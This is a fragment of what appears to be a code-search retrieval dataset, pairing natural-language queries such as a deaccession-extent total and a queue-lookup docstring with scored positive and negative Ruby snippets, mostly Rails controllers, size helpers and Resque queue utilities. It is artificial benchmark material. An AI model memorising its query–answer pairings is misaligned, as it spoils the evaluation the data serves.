"docid": "ed462e2be8736af4ac42a77bc2fc4a8a",
"score": "0.5402017",
"text": "def index\n\t\t@fb_lead_destinations = current_admin.fb_lead_destinations.order(:created_at)\n\tend",
"title": ""
},
{
"docid": "ed761e49febd6e59824ece1410c7fe26",
"score": "0.5401991",
"text": "def create\n @request = Request.find(params[:request_id])\n if current_user.requisitante_transporte?\n if @request.status != \"EM ABERTO\"\n flash[:info] = \"Você não pode adicionar destinos a requisição atual.\"\n redirect_to requests_url\n end\n end\n @request_destinies = @request.request_destinies\n @request_destiny = RequestDestiny.new(request_destiny_params)\n\n respond_to do |format|\n if @request_destiny.save\n flash[:success] = @@msgs\n format.html { redirect_to request_request_destinies_path(@request), notice: 'Destino Adicionado a Requisição' }\n format.json { render :show, status: :created, location: @request_destiny }\n else\n flash[:danger] = @@msge\n format.html { render :index }\n format.json { render json: @request_destiny.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2565c026e19949a5c92e1a5028fa9478",
"score": "0.5387942",
"text": "def dynamic_route(opts)\n opts = check_params(opts,[:destinations])\n super(opts)\n end",
"title": ""
},
{
"docid": "6d840c3cb6ead94f53ea15afb1eafe64",
"score": "0.5381326",
"text": "def use_destinations?\n @use_destinations\n end",
"title": ""
},
{
"docid": "0652bf2d6568a60719e7512c12af94d9",
"score": "0.5356995",
"text": "def create\n @ais_vessal_destination = AisVessalDestination.new(ais_vessal_destination_params)\n\n respond_to do |format|\n if @ais_vessal_destination.save\n format.html { redirect_to @ais_vessal_destination, notice: 'Ais vessal destination was successfully created.' }\n format.json { render :show, status: :created, location: @ais_vessal_destination }\n else\n format.html { render :new }\n format.json { render json: @ais_vessal_destination.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5fe1817271da197c625a317266669d36",
"score": "0.53562146",
"text": "def destination_params\n params.require(:destination).permit(:name, \n :country, \n :language, \n :currency)\n # attractions_attributes:[:id, \n # :name, \n # :category,\n # :reservations_required,\n # :cost] ))\n end",
"title": ""
}
] |
8269e098828e0a0f0e5b59fe35d11ebb
|
Total Extent of Deaccessions
|
[
{
"docid": "1f028859460767943fc73de1ec129b05",
"score": "0.8118953",
"text": "def total_extent_of_deaccessions\n return @total_extent_of_deaccessions if @total_extent_of_deaccessions\n\n deaccessions = db[:deaccession].where(:accession_id => self.query.select(:id))\n deaccession_extents = db[:extent].where(:deaccession_id => deaccessions.select(:id))\n \n @total_extent_of_deaccessions = deaccession_extents.sum(:number)\n\n @total_extent_of_deaccessions\n end",
"title": ""
}
] |
[
{
"docid": "cfad2a48ab05b07330d1bacb2ef87f8b",
"score": "0.6585089",
"text": "def exabytes\n self * EXABYTE\n end",
"title": ""
},
{
"docid": "1b773618fe51ea5348bce2f35552ed1e",
"score": "0.6581664",
"text": "def extent_size\n pages_per_extent * page_size\n end",
"title": ""
},
{
"docid": "5c70c0cd8adbda1ecf78bc1f9ef267a5",
"score": "0.6364141",
"text": "def total_extent\n @total_extent ||= db.from(self.query).sum(:extentNumber)\n end",
"title": ""
},
{
"docid": "5c70c0cd8adbda1ecf78bc1f9ef267a5",
"score": "0.6364141",
"text": "def total_extent\n @total_extent ||= db.from(self.query).sum(:extentNumber)\n end",
"title": ""
},
{
"docid": "af7881bebb18441f9e27cfa51659576e",
"score": "0.63534486",
"text": "def get_total_extent(results)\n info[:total_extent] = db.from(results).sum(:extent_number)\n end",
"title": ""
},
{
"docid": "8c5650b070fb9642a9e4cd9f27256286",
"score": "0.6285588",
"text": "def total_entries\n @delegated_to_object.size\n end",
"title": ""
},
{
"docid": "5004ca078f2e9d39bcd9930cae54ad4f",
"score": "0.6254684",
"text": "def entries_in_xdes_array\n size / space.pages_per_extent\n end",
"title": ""
},
{
"docid": "978ec81b21357fad78fe3e93092a3ced",
"score": "0.62003523",
"text": "def size\n @ledger.size\n end",
"title": ""
},
{
"docid": "4df7f3c701c07d5ff019c9a3947c5725",
"score": "0.61843246",
"text": "def zettabytes\n self * ZETTABYTE\n end",
"title": ""
},
{
"docid": "f486e688c7db04442cace7c3e693c95c",
"score": "0.6107782",
"text": "def total_size\n self._total_size(self, 0)\n end",
"title": ""
},
{
"docid": "914f8f45a1b6f36801df359b55a371f5",
"score": "0.6062174",
"text": "def total_size\n object_versions.inject(0) { |sum, obj| sum += obj.size }\n end",
"title": ""
},
{
"docid": "92db54cd224056973b21489673c8e508",
"score": "0.60528487",
"text": "def d_size\n @capacity / @blockSize\n end",
"title": ""
},
{
"docid": "498b927ba839a3229006d7552d335ff3",
"score": "0.5990825",
"text": "def d_size\n @desc[:size].to_i\n end",
"title": ""
},
{
"docid": "9b2e072aa0383de23b17f6696a0e6971",
"score": "0.5968093",
"text": "def size\n\t\tlast - first + (exclude_end? ? 0 : 1)\n\tend",
"title": ""
},
{
"docid": "7570b6c9ab0e34d05e61619c6da49152",
"score": "0.59384894",
"text": "def accumulated_apparent_energy\n @bytes.sint32(12)\n end",
"title": ""
},
{
"docid": "abece7f5b5421ebeac024cc87f1b4d31",
"score": "0.59118146",
"text": "def size_used\n info[\"size-used\"]\n end",
"title": ""
},
{
"docid": "094fa37e0ad91c2da959362fc20a45c6",
"score": "0.5907649",
"text": "def subtotal\n debt_claim_items.reject(&:marked_for_destruction?).sum(&:debt)\n end",
"title": ""
},
{
"docid": "268ab9e3528bc32c534bab628df9e1ea",
"score": "0.58949816",
"text": "def fbe_size\n @_model.fbe_size + @_model.fbe_extra\n end",
"title": ""
},
{
"docid": "268ab9e3528bc32c534bab628df9e1ea",
"score": "0.58949816",
"text": "def fbe_size\n @_model.fbe_size + @_model.fbe_extra\n end",
"title": ""
},
{
"docid": "268ab9e3528bc32c534bab628df9e1ea",
"score": "0.58949816",
"text": "def fbe_size\n @_model.fbe_size + @_model.fbe_extra\n end",
"title": ""
},
{
"docid": "268ab9e3528bc32c534bab628df9e1ea",
"score": "0.58949816",
"text": "def fbe_size\n @_model.fbe_size + @_model.fbe_extra\n end",
"title": ""
},
{
"docid": "5fdc558ec3837f782beaa5875fc4a1d1",
"score": "0.5893109",
"text": "def d_size\n @diskObj.info[:capacity]\n end",
"title": ""
},
{
"docid": "c103458fc71036c0eac77d317d350e49",
"score": "0.5888914",
"text": "def ext_size\n bonus = Focus_Boost[self.id].nil? ? Focus_Default_Boost : Focus_Boost[self.id] \n @ext_size = @focus_bonus ? bonus : 0\n end",
"title": ""
},
{
"docid": "d816dfc535ec1e686da7530c11d3c5e2",
"score": "0.58813334",
"text": "def get_attach_size\n\n return 0 if self.mail_attachments.nil? or self.mail_attachments.empty?\n\n sum = 0\n\n self.mail_attachments.each do |attach|\n sum += attach.size\n end\n\n return sum\n end",
"title": ""
},
{
"docid": "7b33069e0c1226f815ba86ae0ca92d0e",
"score": "0.58698076",
"text": "def bytes\n members.reduce(0) { |sum, gf| sum + gf.file_size.first.to_i }\n end",
"title": ""
},
{
"docid": "1747974547358a5cadbde58509ffb0a3",
"score": "0.58553886",
"text": "def set_importe_total\n self.importe_total = 0\n self.detalles.each do |detalle|\n self.importe_total += detalle.precio_unitario * detalle.cantidad unless detalle.marked_for_destruction?\n end\n end",
"title": ""
},
{
"docid": "38765ad6edefe07d8aebf682d002b6c7",
"score": "0.585335",
"text": "def used(extended: false)\n total(extended: extended) - free(extended: extended)\n end",
"title": ""
},
{
"docid": "0f3828c7e4ee7308b2b7aa973c4a5b88",
"score": "0.5842339",
"text": "def actual_amount\n children.length\n end",
"title": ""
},
{
"docid": "4bc39d7068f0e3be98e2ca8d325bee77",
"score": "0.58300656",
"text": "def size\n\t\[email protected]\n\tend",
"title": ""
},
{
"docid": "79d75c8a16760343a9506fc8f66c28b0",
"score": "0.5823512",
"text": "def get_size\n\t\tend",
"title": ""
},
{
"docid": "f9dd67b3320bef4f5163c03b6ee43f77",
"score": "0.57674545",
"text": "def size\n value.map(&:size).inject(0, :+)\n end",
"title": ""
},
{
"docid": "b8e5d89bdb77a99d7ed95d1bbf4517ba",
"score": "0.5764782",
"text": "def size\n\n DataMapper.repository(@dm_repository) { DmExpression.count }\n end",
"title": ""
},
{
"docid": "e0ab4f4a9e53691bf8b47a84a3dd46a1",
"score": "0.5757845",
"text": "def load()\r\n\t\treturn @total/@size\r\n\tend",
"title": ""
},
{
"docid": "b40eba356916849a54a09723b8f28aba",
"score": "0.57527506",
"text": "def calculate_size\n @size = unit_count + holidays_count\n end",
"title": ""
},
{
"docid": "cf34c39c7d0a233a150cb04d9e75ca88",
"score": "0.5749148",
"text": "def total(extended: false)\n hash = memory\n extended ? hash[:total] + hash[:swap_total] : hash[:total]\n end",
"title": ""
},
{
"docid": "b417f160ed81b14c58884ed0c45f0359",
"score": "0.5748525",
"text": "def getSize() \n @obj.getSize()\n end",
"title": ""
},
{
"docid": "b1d8f034ed5ebc2d09fbef78d0e8b2cd",
"score": "0.5743513",
"text": "def disc_count\n @ole.DiscCount\n end",
"title": ""
},
{
"docid": "45aecee3d739baee7e396bb0e1e52851",
"score": "0.57427406",
"text": "def size\n @value.inject(0) {|acc, it| acc + it.size}\n end",
"title": ""
},
{
"docid": "00ca7d5b7419d038c8b662ff6338bafa",
"score": "0.57306206",
"text": "def total\n 2**64 - 1\n end",
"title": ""
},
{
"docid": "ad2175eb919cebfd4fbca581ea742451",
"score": "0.5727882",
"text": "def size\n @size \n end",
"title": ""
},
{
"docid": "ad2175eb919cebfd4fbca581ea742451",
"score": "0.5727882",
"text": "def size\n @size \n end",
"title": ""
},
{
"docid": "d5ad2f3fcbee3602a355e385d5f4e5d8",
"score": "0.5715539",
"text": "def recalculate_filesize\n @filesize = @collection.reduce(0) {|sum,asset| sum + asset.size}\n end",
"title": ""
},
{
"docid": "b8d6186a35d3e64df3f51807e3d19942",
"score": "0.5713031",
"text": "def total_item_size\n return @total_item_size\n end",
"title": ""
},
{
"docid": "30cba691e76a94210eb4f4133f4a60ad",
"score": "0.5702574",
"text": "def total; end",
"title": ""
},
{
"docid": "7ce7ca8f531e0bff9ef75711a31d1a8a",
"score": "0.5697734",
"text": "def inodes_per_page\n (size - pos_inode_array - 10) / Innodb::Inode::SIZE\n end",
"title": ""
},
{
"docid": "1e1f83a370b9121fc3801c27353dbc33",
"score": "0.5697476",
"text": "def total_bytes\n (wired + active + inactive + free) * pagesize\n end",
"title": ""
},
{
"docid": "180394ecab12f109b2a9d20e67fff2fa",
"score": "0.56952703",
"text": "def extent\n @extent\n end",
"title": ""
},
{
"docid": "155fa0ab6a80b8a1a4220c35a9325769",
"score": "0.5693434",
"text": "def size\n @info.size\n end",
"title": ""
},
{
"docid": "155fa0ab6a80b8a1a4220c35a9325769",
"score": "0.5693434",
"text": "def size\n @info.size\n end",
"title": ""
},
{
"docid": "155fa0ab6a80b8a1a4220c35a9325769",
"score": "0.5693434",
"text": "def size\n @info.size\n end",
"title": ""
},
{
"docid": "6f1cb410c9e3bf7b27641ee7102568c9",
"score": "0.5676039",
"text": "def disk_usage_information\n super\n end",
"title": ""
},
{
"docid": "060c405daea86443e76cda3947cb3218",
"score": "0.56603205",
"text": "def bytes\n members.reduce(0) { |sum, gf| sum + gf.content.size.to_i }\n end",
"title": ""
},
{
"docid": "7bf20da192e954b1dc031c34c6098900",
"score": "0.56599045",
"text": "def entity_expansion_count; end",
"title": ""
},
{
"docid": "787073de3c0dd7af089e40a833de02e1",
"score": "0.5649661",
"text": "def split_total_amount\n total=0\n reim_split_details.each do |split|\n next if split.marked_for_destruction?\n total+=split.percent_amount if split.percent_amount\n end\n total\n end",
"title": ""
},
{
"docid": "bd6eee032a7beb2f21f99115c518cec6",
"score": "0.56496376",
"text": "def total_free_space\n self.free_spaces.reduce(0, :+)\n end",
"title": ""
},
{
"docid": "4007ff209c29442a9f823256e2639bc8",
"score": "0.5624282",
"text": "def size\n\t\t#puts \"size of #{name}: #{super()}\"\n\t\t103\n\tend",
"title": ""
},
{
"docid": "d4c458e37400fe4a3235141bf71a191f",
"score": "0.5615586",
"text": "def net_expenditures\n return super - total_revenue\n end",
"title": ""
},
{
"docid": "cbc192ab6a5339dc59b2fa3d6400c384",
"score": "0.5613709",
"text": "def digest_length()\n #This is a stub, used for indexing\n end",
"title": ""
},
{
"docid": "cbc192ab6a5339dc59b2fa3d6400c384",
"score": "0.5613709",
"text": "def digest_length()\n #This is a stub, used for indexing\n end",
"title": ""
},
{
"docid": "1a60db2e7c8d2567de0b47eaaf7dab12",
"score": "0.5595868",
"text": "def cache_accounts_above_disk_free_percentage\n return @cache_accounts_above_disk_free_percentage\n end",
"title": ""
},
{
"docid": "91c40166b7008d8b41a0dd7b676d1b76",
"score": "0.5594949",
"text": "def extrema\n return Features.extrema(@data)\n end",
"title": ""
},
{
"docid": "6cf5216e1be32ff012970f04818ed33c",
"score": "0.55925846",
"text": "def memsize\n end",
"title": ""
},
{
"docid": "3c08f8a32d725a7066621371ba21ca48",
"score": "0.5592415",
"text": "def current_subtotal\n debt_claim_items.reject(&:marked_for_destruction?).sum(&:current_debt)\n end",
"title": ""
},
{
"docid": "08a0727e9d52dbc810a20896ca2373cb",
"score": "0.55917305",
"text": "def overage_charges\n overage_chunks * APP_CONFIG.payments.additional_storage_chunk_cost\n end",
"title": ""
},
{
"docid": "8edd53c53fe3e5617ebb05d835eb2d45",
"score": "0.5578107",
"text": "def part_size(total_size, part_size, offset)\n if offset + part_size > total_size\n total_size - offset\n else\n part_size\n end\n end",
"title": ""
},
{
"docid": "b8e480eb8edc755ca3e52dd15b119a98",
"score": "0.55744565",
"text": "def size_mum_record\n 8\n end",
"title": ""
},
{
"docid": "813b1c6d819ffa2f31db610cb94e9ca1",
"score": "0.55738103",
"text": "def total_entries\n collection.total_count\n end",
"title": ""
},
{
"docid": "ac1518129ea8683411c5daa988d57c1a",
"score": "0.5571972",
"text": "def memused\n @memtotal - @memfree\n end",
"title": ""
},
{
"docid": "3a001bef865f3a504ec4ec944a75374f",
"score": "0.5569284",
"text": "def size\n @exact.size + @list.size\n end",
"title": ""
},
{
"docid": "434f1101a8c6b0ada852c84ee680bb77",
"score": "0.55666184",
"text": "def degree()\n return self.rep.length\n end",
"title": ""
},
{
"docid": "728199eeac8cbe99b1165ad72597f490",
"score": "0.5566295",
"text": "def total\n dataset.unlimited.count\n end",
"title": ""
},
{
"docid": "17be3da86154e621c00aa457a92bb779",
"score": "0.5560244",
"text": "def d_size\n uint64(header, 'size') / @blockSize\n end",
"title": ""
},
{
"docid": "a95d7b975c5cb65222be20fbba07b899",
"score": "0.5560107",
"text": "def entry_addenda_count\n entries.size + addendas.values.flatten.size\n end",
"title": ""
},
{
"docid": "8e40a2ca32a1a6878870dc0a06ea7929",
"score": "0.5559846",
"text": "def calc_total_xp\n total = 0\n get_shared_xp_fields.each do |m|\n total += send(m) \n end\n self.total_xp = total\n\n self.level = XPModel.level(total_xp)\n self.xp_to_next_level = XPModel.xp_to_next(total_xp)\n end",
"title": ""
},
{
"docid": "c0db6adc62edca0ff3718186ae6ae58f",
"score": "0.55576634",
"text": "def size\n @size.size\n end",
"title": ""
},
{
"docid": "c56c8bf99cb724b9ebe0a40b99928824",
"score": "0.5557545",
"text": "def size\n\t\treturn @storage.size\n\tend",
"title": ""
},
{
"docid": "39447e6ae0fafb17e1b858fcd9c83339",
"score": "0.5556896",
"text": "def size\n return unless rels_int\n content_ds = Nokogiri::XML(rels_int.content.to_s)\n .at_xpath(\"rdf:RDF/rdf:Description[@rdf:about='info:fedora/#{pid}/content']\")\n return unless content_ds\n size = content_ds.at_xpath('//dc:extent', dc: 'http://purl.org/dc/terms/')\n return unless size\n size.text.to_i\n end",
"title": ""
},
{
"docid": "0d9c3867c6ad53a0d0325d997c5418db",
"score": "0.5555336",
"text": "def terabytes\n self * TERABYTE\n end",
"title": ""
},
{
"docid": "2c3bc4d96603794669a464ebd2c786c9",
"score": "0.555523",
"text": "def size() end",
"title": ""
},
{
"docid": "2c3bc4d96603794669a464ebd2c786c9",
"score": "0.555523",
"text": "def size() end",
"title": ""
},
{
"docid": "2c3bc4d96603794669a464ebd2c786c9",
"score": "0.555523",
"text": "def size() end",
"title": ""
},
{
"docid": "2c3bc4d96603794669a464ebd2c786c9",
"score": "0.555523",
"text": "def size() end",
"title": ""
},
{
"docid": "2c3bc4d96603794669a464ebd2c786c9",
"score": "0.555523",
"text": "def size() end",
"title": ""
},
{
"docid": "2c3bc4d96603794669a464ebd2c786c9",
"score": "0.555523",
"text": "def size() end",
"title": ""
},
{
"docid": "0959cc7a1b0d9ae629f573fd515d5873",
"score": "0.55523854",
"text": "def getFileSize()\n getRealFileSize(file) / MEGABYTE\n end",
"title": ""
},
{
"docid": "71fa87868f84a7c554661a786fc58a26",
"score": "0.5546752",
"text": "def size\n revision_list_contents.size + revision_list_content_keys.size\n end",
"title": ""
},
{
"docid": "22214934d7d2fbc0678af6e8a8e5994b",
"score": "0.55467457",
"text": "def size\n @errors.size + @children.each_value.reduce(0) do |total, child|\n total + child.size\n end\n end",
"title": ""
},
{
"docid": "8875286b9b34dac9293b332299d8e321",
"score": "0.554622",
"text": "def size; end",
"title": ""
},
{
"docid": "8875286b9b34dac9293b332299d8e321",
"score": "0.554622",
"text": "def size; end",
"title": ""
},
{
"docid": "8875286b9b34dac9293b332299d8e321",
"score": "0.554622",
"text": "def size; end",
"title": ""
},
{
"docid": "8875286b9b34dac9293b332299d8e321",
"score": "0.554622",
"text": "def size; end",
"title": ""
},
{
"docid": "8875286b9b34dac9293b332299d8e321",
"score": "0.554622",
"text": "def size; end",
"title": ""
},
{
"docid": "8875286b9b34dac9293b332299d8e321",
"score": "0.554622",
"text": "def size; end",
"title": ""
},
{
"docid": "8875286b9b34dac9293b332299d8e321",
"score": "0.554622",
"text": "def size; end",
"title": ""
},
{
"docid": "8875286b9b34dac9293b332299d8e321",
"score": "0.554622",
"text": "def size; end",
"title": ""
},
{
"docid": "8875286b9b34dac9293b332299d8e321",
"score": "0.554622",
"text": "def size; end",
"title": ""
},
{
"docid": "8875286b9b34dac9293b332299d8e321",
"score": "0.554622",
"text": "def size; end",
"title": ""
},
{
"docid": "8875286b9b34dac9293b332299d8e321",
"score": "0.554622",
"text": "def size; end",
"title": ""
},
{
"docid": "8875286b9b34dac9293b332299d8e321",
"score": "0.554622",
"text": "def size; end",
"title": ""
},
{
"docid": "8875286b9b34dac9293b332299d8e321",
"score": "0.554622",
"text": "def size; end",
"title": ""
}
] |
a2ea09e5ab5e8d06d29e8583377a58ec
|
Given a class, try to extrapolate an appropriate queue based on a class instance variable or `queue` method.
|
[
{
"docid": "14c2955497b88b0314312246d7a48f66",
"score": "0.83217245",
"text": "def queue_from_class(klass)\n (klass.instance_variable_defined?(:@queue) && klass.instance_variable_get(:@queue)) ||\n (klass.respond_to?(:queue) and klass.queue)\n end",
"title": ""
}
] |
[
{
"docid": "70215e4d4277ce9c1c33567213be1a07",
"score": "0.8246507",
"text": "def queue_from_class(klass)\n klass.instance_variable_get(:@queue) ||\n (klass.respond_to?(:queue) and klass.queue)\n end",
"title": ""
},
{
"docid": "70215e4d4277ce9c1c33567213be1a07",
"score": "0.8246507",
"text": "def queue_from_class(klass)\n klass.instance_variable_get(:@queue) ||\n (klass.respond_to?(:queue) and klass.queue)\n end",
"title": ""
},
{
"docid": "70215e4d4277ce9c1c33567213be1a07",
"score": "0.8246507",
"text": "def queue_from_class(klass)\n klass.instance_variable_get(:@queue) ||\n (klass.respond_to?(:queue) and klass.queue)\n end",
"title": ""
},
{
"docid": "70215e4d4277ce9c1c33567213be1a07",
"score": "0.8246507",
"text": "def queue_from_class(klass)\n klass.instance_variable_get(:@queue) ||\n (klass.respond_to?(:queue) and klass.queue)\n end",
"title": ""
},
{
"docid": "35ddd67201c62e64bac91f3005dd41d2",
"score": "0.6996656",
"text": "def queue_for(clazz=nil, method=nil); @queue_name; end",
"title": ""
},
{
"docid": "a3f11cc96940075d17bab916a0415440",
"score": "0.6725658",
"text": "def enqueue_to(queue, klass, *args); end",
"title": ""
},
{
"docid": "a3f11cc96940075d17bab916a0415440",
"score": "0.6725658",
"text": "def enqueue_to(queue, klass, *args); end",
"title": ""
},
{
"docid": "a3f11cc96940075d17bab916a0415440",
"score": "0.6725658",
"text": "def enqueue_to(queue, klass, *args); end",
"title": ""
},
{
"docid": "d25fa541cffb80bdf9a610548b864bb8",
"score": "0.6639109",
"text": "def enqueued_workers_with_class(klass, queue)\n ActiveJob::QueueAdapters::SidekiqAdapter::JobWrapper.jobs.select do |job|\n job_klass = job['wrapped']\n job_queue = job['queue']\n unless VALID_WORKER_QUEUES.include?(job_queue)\n raise \"#{job_klass} has invalid queue: #{job_queue}\"\n end\n (klass.nil? || job_klass == klass.name) && (queue.nil? || job_queue == queue.to_s)\n end\nend",
"title": ""
},
{
"docid": "3a0270bcf9f9a65e0f15798b554890a9",
"score": "0.66130596",
"text": "def use_queue(queue)\n const = case queue\n when String\n if const = find_queue_const(queue)\n const\n else\n raise ArgumentError, \"'#{queue}' couldn't be found.\"\n end\n when Class\n queue\n else\n raise ArgumentError, \"'#{queue}' must be a String or Class.\"\n end\n\n configurator = Rosette::Queuing::QueueConfigurator.new\n yield configurator if block_given?\n @queue = const.new(configurator)\n nil\n end",
"title": ""
},
{
"docid": "c823c789b7f21e392edf7c0167938efc",
"score": "0.6580645",
"text": "def queue_for(clazz, method)\n ClassAndMethodRouting.queue_for(clazz, method)\n end",
"title": ""
},
{
"docid": "322b31a25613e9e57944e427675e994c",
"score": "0.6560867",
"text": "def queue_from_class_name(class_name)\n Resque.queue_from_class(\n Resque::Scheduler::Util.constantize(class_name)\n )\n end",
"title": ""
},
{
"docid": "03d2a9a9101c0af0f8b2befe0a66e780",
"score": "0.6336529",
"text": "def jobs_queued_in_of(queue, klass)\n check_class(klass)\n match_klass = klass.to_s\n jobs_queued_in(queue).select { |job| job_class(job) == match_klass }\n end",
"title": ""
},
{
"docid": "6b20605ac8baad66afab8803fb1e92c6",
"score": "0.6300225",
"text": "def queueing_method_type(opts)\n opts = check_params(opts,[:queues])\n super(opts)\n end",
"title": ""
},
{
"docid": "1b2a2ba6ee9a584faa45fe36ec7f9981",
"score": "0.62479025",
"text": "def resolve_queue (queue)\n\n return queue if queue.kind_of?(Queue)\n get_queue queue.to_s\n end",
"title": ""
},
{
"docid": "718322beef13ebe97f074fcd41ec665b",
"score": "0.6149014",
"text": "def queue(options)\n klass = case options[:queue]\n when :heap\n HeapPriorityQueue\n when :blit\n options[:stats] ? BlitStatPriorityQueue : BlitPriorityQueue\n when :lib\n LibPriorityQueue\n else\n PriorityQueue\n end\n @queue = klass.new\n\n if options[:stats]\n class <<@queue\n include PriorityQueueStats\n end\n @queue.initialize_stats\n end\n if options[:debug]\n class <<@queue\n include PriorityQueueDebug\n end\n end\n self\n end",
"title": ""
},
{
"docid": "11541052236a623859ce069d1c009c57",
"score": "0.6147736",
"text": "def enqueue_to(queue, klass, *args)\r\n enqueue_with_options :queue => queue, :class => klass, :args => args\r\n end",
"title": ""
},
{
"docid": "9e9c109c8860bea151ff0022d254113a",
"score": "0.6143006",
"text": "def queue(class_name, data={}, options={})\n puts \"Queuing #{class_name}...\"\n check_config\n if !data.is_a?(Array)\n data = [data]\n end\n# p data\n hash_to_send = {}\n hash_to_send[\"payload\"] = data\n hash_to_send[\"class_name\"] = class_name\n hash_to_send[\"priority\"] = options[:priority] if options[:priority]\n hash_to_send[\"options\"] = options\n add_sw_params(hash_to_send)\n if defined?(RAILS_ENV)\n # todo: move this to global_attributes in railtie\n hash_to_send[\"rails_env\"] = RAILS_ENV\n end\n return queue_raw(class_name, hash_to_send)\n\n end",
"title": ""
},
{
"docid": "d8e95eda921dc743b939c49fe70cc5fe",
"score": "0.61361545",
"text": "def resolve_queue (queue)\n\n return queue if queue.kind_of?(Queue)\n get_queue queue.to_s\n end",
"title": ""
},
{
"docid": "034c4358a9bd205e6af47c8ea2a5f6d3",
"score": "0.6118016",
"text": "def create_queueing_method(opts)\n opts = check_params(opts,[:queues,:types])\n super(opts)\n end",
"title": ""
},
{
"docid": "28cd1d00b52101cc1b9240e2dffcaf8c",
"score": "0.6108035",
"text": "def queue(class_name, data={}, options={})\n puts \"Queuing #{class_name}...\"\n check_config\n if !data.is_a?(Array)\n data = [data]\n end\n name = options[:name] || class_name\n hash_to_send = {}\n hash_to_send[\"payload\"] = data\n hash_to_send[\"class_name\"] = class_name\n hash_to_send[\"name\"] = name\n hash_to_send[\"priority\"] = options[:priority] if options[:priority]\n hash_to_send[\"options\"] = options\n add_sw_params(hash_to_send)\n if defined?(RAILS_ENV)\n # todo: move this to global_attributes in railtie\n hash_to_send[\"rails_env\"] = RAILS_ENV\n end\n return queue_raw(class_name, hash_to_send)\n\n end",
"title": ""
},
{
"docid": "928fbdd2242a38cb1acc1d21cb2b7a2e",
"score": "0.60301113",
"text": "def prepare_class(klass)\n klass.instance_of?(String) && !klass.empty? ? Resque.constantize(klass) : klass\n end",
"title": ""
},
{
"docid": "78eb0d329521abd63bd506c8b9b67801",
"score": "0.6021518",
"text": "def get_queue_url_by_class klass\n job_info = config[:jobs].select{ |k,v| v[:class] == klass.name}.first.last\n create_queue_url job_info[:queue_name]\n end",
"title": ""
},
{
"docid": "e96e4600bfce6abd0e1e06a7e95de234",
"score": "0.5975591",
"text": "def backup_queue_class\n eval(backup_queue_class_name)\n end",
"title": ""
},
{
"docid": "23513e4e50ec56d2538547025f86053c",
"score": "0.5958976",
"text": "def dequeue(klass, uuid)\n status = Resque::Plugins::State::Hash.get(uuid)\n Resque.dequeue(klass, uuid, status.options)\n end",
"title": ""
},
{
"docid": "caf1c1b77f1cb395abb21806162752aa",
"score": "0.59554744",
"text": "def set_queueing_method_type(opts)\n opts = check_params(opts,[:queues,:types])\n super(opts)\n end",
"title": ""
},
{
"docid": "17b77c7fc18d7edbd6df36629449e1c6",
"score": "0.59429455",
"text": "def scheduled(queue, _klass, *args)\n enqueue_to(queue, self, *args)\n end",
"title": ""
},
{
"docid": "38cbc44d3eb772221a3e5722359fcf40",
"score": "0.59265864",
"text": "def queue_with_host\n if host && host.respond_to?(:queue)\n logger.debug 'Using host queue'\n host.queue\n else\n logger.debug 'Using nic queue'\n queue_without_host\n end\n end",
"title": ""
},
{
"docid": "35b88bc77f25ac692b4412b27d2f7d37",
"score": "0.5899909",
"text": "def enqueue_uniquely(klass, *args)\r\n enqueue_uniquely_to queue_from_class(klass), klass, *args\r\n end",
"title": ""
},
{
"docid": "43122962667fac14fff5090451986d05",
"score": "0.5844563",
"text": "def jobs_queued_of(klass)\n check_class(klass)\n match_klass = klass.to_s\n\n jobs_queued.select { |job| job_class(job) == match_klass }\n end",
"title": ""
},
{
"docid": "8e865472284e80cb4c79075270f4f9c3",
"score": "0.58191",
"text": "def enqueue(queue, klass, ids, delete, priority)\n klass = Sunspot::Util.full_const_get(klass.to_s) unless klass.is_a?(Class)\n unless queue.class_names.empty? || queue.class_names.include?(klass.name)\n raise ArgumentError.new(\"Class #{klass.name} is not in the class names allowed for the queue\")\n end\n priority = priority.to_i\n if ids.is_a?(Array)\n ids.each do |id|\n implementation.add(klass, id, delete, priority)\n end\n else\n implementation.add(klass, ids, delete, priority)\n end\n end",
"title": ""
},
{
"docid": "8abd2cd91b2e48bf0b1bdf4fd4fe0876",
"score": "0.58105093",
"text": "def dequeue(klass, uuid)\n status = Resque::Plugins::Status::Hash.get(uuid)\n Resque.dequeue(klass, uuid, status.options)\n end",
"title": ""
},
{
"docid": "7499a04ce16020dfc29c5fc617b065e9",
"score": "0.5806659",
"text": "def enqueue(klass, options = {})\n enqueue_to(Resque.queue_from_class(klass) || queue, klass, options)\n end",
"title": ""
},
{
"docid": "2fff5953344fdb20a3d8c656de166b5c",
"score": "0.5785512",
"text": "def __queue__; end",
"title": ""
},
{
"docid": "8572cadde5cab9a03f773a3d80b7a549",
"score": "0.57718235",
"text": "def enqueue_uniquely_to(queue, klass, *args)\r\n enqueue_with_options :queue => queue, :class => klass, :args => args, :unique => true\r\n end",
"title": ""
},
{
"docid": "b84bcabceac35c31d1f4da7a6bf069af",
"score": "0.5733039",
"text": "def enqueue(klass, options = {})\n self.enqueue_to(Resque.queue_from_class(klass) || queue, klass, options)\n end",
"title": ""
},
{
"docid": "1126718718ba934fd6631d7615f0593a",
"score": "0.5725261",
"text": "def target_queue\n return fund_queue if fund_queue\n return adoptable_queue if adoptable_queue\n nil\n end",
"title": ""
},
{
"docid": "4e741462dffa768b4a86b2512be7a691",
"score": "0.5711103",
"text": "def enqueue_to(queue, klass, options = {})\n uuid = Resque::Plugins::State::Hash.generate_uuid\n Resque::Plugins::State::Hash.create uuid, options: options\n\n if Resque.enqueue_to(queue, klass, uuid, options)\n uuid\n else\n Resque::Plugins::State::Hash.remove(uuid)\n nil\n end\n end",
"title": ""
},
{
"docid": "2966e1847769e485532d3ef9f81dcc7d",
"score": "0.5705366",
"text": "def queue(new_queue = nil)\n if new_queue \n @@_queue = new_queue\n return self\n else \n @@_queue\n end\n end",
"title": ""
},
{
"docid": "47f740bf2f54b9622d8eeffe9c579006",
"score": "0.57006943",
"text": "def enqueue_to(queue, klass, *args)\n # Perform before_enqueue hooks. Don't perform enqueue if any hook returns false\n before_hooks = Plugin.before_enqueue_hooks(klass).collect do |hook|\n klass.send(hook, *args)\n end\n return nil if before_hooks.any? { |result| result == false }\n\n Job.create(queue, klass, *args)\n\n Plugin.after_enqueue_hooks(klass).each do |hook|\n klass.send(hook, *args)\n end\n\n return true\n end",
"title": ""
},
{
"docid": "865f29ce0415f7125a32554410d339e8",
"score": "0.5698986",
"text": "def queue\n queue_obj\n end",
"title": ""
},
{
"docid": "41e76f363e16b4a89cd5789973828b7f",
"score": "0.5694097",
